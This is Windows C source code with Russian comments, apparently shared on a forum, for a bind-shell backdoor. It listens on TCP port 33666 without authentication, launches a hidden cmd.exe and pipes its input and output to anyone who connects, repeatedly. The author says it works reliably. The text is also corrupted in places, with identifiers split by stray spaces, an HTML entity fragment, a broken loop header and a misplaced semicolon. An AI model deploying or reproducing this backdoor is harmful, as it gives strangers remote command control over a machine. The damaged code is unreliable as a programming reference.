// Это не мой код, я его где-то в инете выкопал
// правда я кое-чего там менял, чтобы он заработал
// сейчас он работает точно, причем слушает постоянно ,
// можно коннектиться по несколько раз
#include "Winsock2.h"
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#include <string.h>
#pragma hdrstop
#define bzero(a) memset(a,0,sizeof(a)) //для сокращения писанины
bool IsWinNT() //проверка запуска под NT
{
OSVERSIONINFO osv;
osv.dwOSVersionInfoSize = sizeof(osv);
GetVersionEx(&osv);
return (osv.dwPlatformId == VER_PLATFORM_WIN32_NT);
}
void ErrorMessage(char *str) //вывод подробной информации об ошибке
{
LPVOID msg;
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
GetLastError(),
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // язык по умолчанию
(LPTSTR) &msg,
0,
NULL
);
printf("%s: %s\n",str,msg);
LocalFree(msg);
}
bool check_connection(int to,SOCKET conn_socket)
{
timeval to1 = {to,0};
fd_set fr= {1,conn_socket};
if(!select(0,&fr,&fr,&fr,&to1) ) return false;
else return true;
}
//---------------------------------------------------------- ------------
void StartCMD(SOCKET msgsock)
{
char buf[10000] ;   ; //буфер ввода/вывода
// buf=new char[10000];
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
SECURITY_DESCRIPTOR sd; //структура security для пайпов
PROCESS_INFORMATION pi;
HANDLE newstdin,newstdout,read_stdout,write_stdin; //дескрипторы
// пайпов
if (IsWinNT()) //инициализация security для Windows NT
{
InitializeSecurityDescriptor(&sd,SEC URITY_DESCRIPTOR_REVISION);
SetSecurityDescriptorDacl(&sd, true, NULL, false);
sa.lpSecurityDescriptor = &sd;
}
else sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.bInheritHandle = true; //разрешаем наследование дескрипторов
if (!CreatePipe(&newstdin,&write_stdin,&sa,0))   ;//создаем пайп
// для stdin
{
ErrorMessage("CreatePipe");
// getch();
return;
}
if (!CreatePipe(&read_stdout,&newstdout,&sa,0)) //создаем пайп
// для stdout
{
ErrorMessage("CreatePipe");
//getch();
CloseHandle(newstdin);
CloseHandle(write_stdin);
return;
}
GetStartupInfo(&si); //со здаем startupinfo для
// дочернего процесса
/*
Параметр dwFlags сообщает функции CreateProcess
как именно надо создать процесс.
STARTF_USESTDHANDLES управляет полями hStd*.
STARTF_USESHOWWINDOW управляет полем wShowWindow.
*/
si.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.hStdOutput = newstdout;
si.hStdError = newstdout; //подменяем дескрипторы для
si.hStdInput = newstdin; // дочернего процесса
// char app_spawn[] = "f:\\windows\\system32\\cmd.exe"; //это просто
// пример,
//замените на то,
// что вам нужно
//создаем дочерний процесс
if (!CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,CREATE_NEW_CON SOLE,
NULL,NULL,&si,&pi))
{
ErrorMessage("CreateProcess");
//getch();
CloseHandle(newstdin);
CloseHandle(newstdout);
CloseHandle(read_stdout);
CloseHandle(write_stdin);
return;
}
unsigned long exit=0; //код завершения процесса
unsigned long bread; //кол-во прочитанных байт
unsigned long avail; //кол-во доступных байт
bzero(buf);
for(;
//основной цикл программы
{
GetExitCodeProcess(pi.hProcess,&exit ); //пока дочерний процесс
// не закрыт
if (exit != STILL_ACTIVE)
break;
PeekNamedPipe(read_stdout,buf,10000, &bread,&avail,NULL);
//Проверяем, есть ли данные для чтения в stdout
if (bread != 0)
{
bzero(buf);
if (avail > 10000)
{
while (bread >= 10000)
{
ReadFile(read_stdout,buf,10000,&bread,NULL); //читаем из
// пайпа stdout
//printf("%s",buf);
send(msgsock,buf,bread,0);
bzero(buf);
}
}
else {
ReadFile(read_stdout,buf,10000,&bread,NULL);
send(msgsock,buf,bread,0);
//printf("%s",buf);
}
}
/* if (kbhit()) //проверяем, введено ли что-нибудь с клавиатуры
{
bzero(buf);
*buf = (char)getche();
//printf("%c",*buf);
WriteFile(write_stdin,bu f,1,&bread,NULL); //отправляем это
// в stdin
if (*buf == '\r') {
*buf = '\n';
printf("%c",*buf);
WriteFile(write_stdin,buf,1,&bread,NULL); //формирум конец
//строки, если нужно
}
}*/
timeval to = {0,0};
fd_set fr= {1,msgsock};
if(select(0,&fr,0,0,&to))
{
bread=recv(msgsock,buf,10000,0);
WriteFile(write_stdin,buf,bread,&bread,NULL);
}
if(!check_connection(2,msgsock )) break;
Sleep(100);
}
// printf("close\n");
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(newstdin); &n bsp; //небольшая уборка за собой
CloseHandle(newstdout);
CloseHandle(read_stdout);
CloseHandle(write_stdin);
// delete buf;
}
SOCKET msgsock;
DWORD WINAPI ThreadProc(
LPVOID lpParameter // thread data
)
{
SOCKET msgsock1=msgsock;
StartCMD(msgsock1);
closesocket(msgsock1);
return 0;
}
void main()
{
WSADATA wsaData;
WSADATA wsaDataServ;
SOCKET listen_socket;
struct sockaddr_in local,adr;
WSAStartup(0x202,&wsaDataServ) ;
local.sin_family = AF_INET;
local.sin_addr.s_addr = INADDR_ANY;
local.sin_port = htons(33666);
listen_socket = socket(AF_INET, 1,0); // TCP socke
bind(listen_socket,(struct sockaddr*)&local,sizeof(local));
if(listen(listen_socket,0)==SO CKET_ERROR) return;
while(1)
{
int len=sizeof(adr);
msgsock=accept(listen_socket,(struct sockaddr*)&adr,&len);
CreateThread(0,0,&ThreadProc,0,0,0);
}
}